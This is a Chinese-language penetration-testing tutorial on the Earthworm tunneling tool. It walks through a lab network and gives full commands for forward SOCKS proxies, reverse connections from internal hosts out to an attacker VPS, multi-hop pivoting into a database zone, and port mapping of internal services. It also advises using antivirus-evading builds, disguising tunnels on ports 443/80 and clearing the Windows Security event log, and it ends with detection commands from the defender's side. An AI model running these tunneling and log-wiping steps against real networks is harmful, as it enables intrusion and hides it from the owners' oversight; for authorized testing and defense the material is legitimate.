1. 认识Earthworm:内网穿透的瑞士军刀
第一次接触Earthworm(简称EW)是在三年前的一次企业安全评估项目中。当时客户的内网结构极其复杂,整整花了三天时间都没能突破DMZ区的限制。直到团队里一位前辈扔给我这个不到2MB的绿色小工具,局面才彻底扭转——它就像一把锋利的手术刀,精准切开层层网络隔离。
EW本质上是一个轻量级端口转发与SOCKS代理工具,用C语言编写,支持Windows/Linux/Mac多平台运行。与同类工具相比,它的核心优势在于模块化设计:6种工作模式(ssocksd/rcsocks/rssocks/lcx_slave/lcx_listen/lcx_tran)可以像乐高积木一样自由组合,适应各种网络拓扑。我常把它比作"网络拓扑变形金刚"——根据不同的网络限制条件,灵活切换正向连接、反向连接或多级级联模式。
举个例子,去年某次金融行业渗透测试中,目标系统采用"堡垒机+双网卡"的架构。我们先用ssocksd模式穿透第一层防火墙,再通过lcx_slave将流量跳转到核心交易区,最终用rssocks反弹出数据。整个过程就像玩俄罗斯套娃,一层层揭开内网的面纱。
2. 实战环境搭建:模拟企业级网络拓扑
为了让大家更直观理解EW的威力,我特意在本地搭建了一个三级隔离网络实验环境。这个拓扑模拟了典型企业的网络架构:
- DMZ区(192.168.1.0/24):部署Web服务器(192.168.1.100),对外开放80端口
- 办公区(10.10.1.0/24):域控制器、文件服务器等,仅允许DMZ区特定IP访问
- 生产区(172.16.1.0/24):数据库、ERP系统,与办公区通过防火墙策略隔离
实验设备清单如下:
| 角色 | 操作系统 | IP地址 | 网络位置 |
|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.100.50 | 外网 |
| 跳板机 | Windows 2012 | 192.168.1.100/10.10.1.10 | DMZ+办公区 |
| 数据库服务器 | CentOS 7 | 172.16.1.100 | 生产区 |
关键配置细节:
- 在跳板机上启用IP转发:
echo 1 > /proc/sys/net/ipv4/ip_forward - 生产区防火墙只放行办公区特定IP的3306端口:
iptables -A INPUT -p tcp -s 10.10.1.10 --dport 3306 -j ACCEPT - 在Windows系统上关闭防火墙(实验环境):
netsh advfirewall set allprofiles state off
3. 正向穿透:单层网络突破术
当目标服务器有公网IP时,ssocksd模式就是最简单的突破口。这就像给内网开了个后门——我们在受控服务器上启动SOCKS代理服务,攻击机直接连接即可。
具体操作流程:
上传ew_for_Win.exe到跳板机(192.168.1.100)
启动正向代理服务:
ew_for_Win.exe -s ssocksd -l 1080此时跳板机会监听1080端口,将本机变成SOCKS5代理服务器
在攻击机上配置Proxifier(或其他代理工具):
- 代理类型:SOCKS5
- 地址:192.168.1.100
- 端口:1080
测试连接办公区资源:
proxychains nmap -sT -Pn 10.10.1.0/24
踩坑记录:
- 遇到连接超时?试试在EW命令行界面敲回车唤醒连接
- Windows Server 2012可能需要关闭增强安全配置
- 企业环境常遇到杀软拦截,建议使用免杀版本或自定义编译
4. 反向穿透:无公网IP的突围战
90%的企业内网服务器都没有公网IP,这时候就需要rcsocks+rssocks组合拳。这种模式的神奇之处在于:让内网服务器主动外连我们的VPS,就像特工主动联系总部。
实战案例演示:
在公网VPS(假设IP为203.0.113.1)启动接收端:
./ew_for_linux -s rcsocks -l 1080 -e 8888这条命令开启两个端口:1080(代理出口)和8888(等待内网连接)
在内网跳板机执行反弹:
ew_for_Win.exe -s rssocks -d 203.0.113.1 -e 8888此时内网流量会通过8888端口隧道传输到VPS的1080端口
本地连接VPS的1080端口即可访问内网:
curl --socks5 203.0.113.1:1080 http://10.10.1.10
高阶技巧:
- 配合lcx_tran可实现端口映射,比如将内网3389映射到VPS:
ew_for_Win.exe -s lcx_tran -l 3389 -f 10.10.1.10 -g 3389 - 使用
-t参数调整超时时间,避免长连接中断 - 加密隧道:建议配合Stowaway等工具进行流量加密
5. 多级穿透:纵深网络的破解之道
遇到银行级的多层隔离网络时,就需要三级级联战术。去年某次攻防演练中,我们就用这个方法突破了"互联网-DMZ-办公网-核心区"的四层防御。
典型操作流程:
VPS(L1)启动流量接收:
./ew -s rcsocks -l 1080 -e 8888第一跳板机(L2)连接VPS并转发:
ew_for_Win.exe -s lcx_slave -d 203.0.113.1 -e 8888 -f 172.16.1.100 -g 9999第二跳板机(L3)启动本地代理:
./ew_for_linux -s ssocksd -l 9999最终通过VPS的1080端口访问核心区:
proxychains mysql -h172.16.1.100 -uroot -p
网络拓扑示意图:
[攻击机] ←SOCKS5→ [VPS:1080] ↑ [L2跳板机] ↑ [L3跳板机] ←→ [核心数据库]6. 企业级对抗:隐蔽性与稳定性优化
在真实攻防中,粗暴的端口转发很容易触发安全告警。经过多次实战,我总结出这些企业环境生存法则:
流量伪装:
- 修改EW默认的banner信息
- 使用80/443等常见业务端口
ew_for_Win.exe -s ssocksd -l 443心跳保持:
while true; do curl --socks5 127.0.0.1:1080 http://baidu.com; sleep 60; done多链路备份: 同时建立正向+反向隧道,主备切换:
# 主链路 ./ew -s lcx_tran -l 3306 -f 172.16.1.100 -g 3306 # 备用链路 ./ew -s rssocks -d 203.0.113.1 -e 8888日志擦除(Windows):
Clear-EventLog -LogName Security
7. 防御视角:如何检测EW活动
作为蓝军成员时,我经常用这些方法揪出内网的EW隧道:
网络层检测:
netstat -ano | findstr "8888|1080|9999"进程特征识别:
Get-Process | Where-Object {$_.Path -like "*ew*"}流量特征分析:
- 固定心跳周期的SOCKS5握手包
- 非标准端口上的持久连接
主机层监控:
# Linux检查加载模块 lsmod | grep lcx # Windows检查服务 sc query | findstr "Earthworm"
在一次金融行业攻防演练中,甲方安全团队就是通过NetFlow分析发现我们某个跳板机的流量周期特征,最终溯源到VPS。这提醒我们:真正的企业级渗透,稳定性比速度更重要。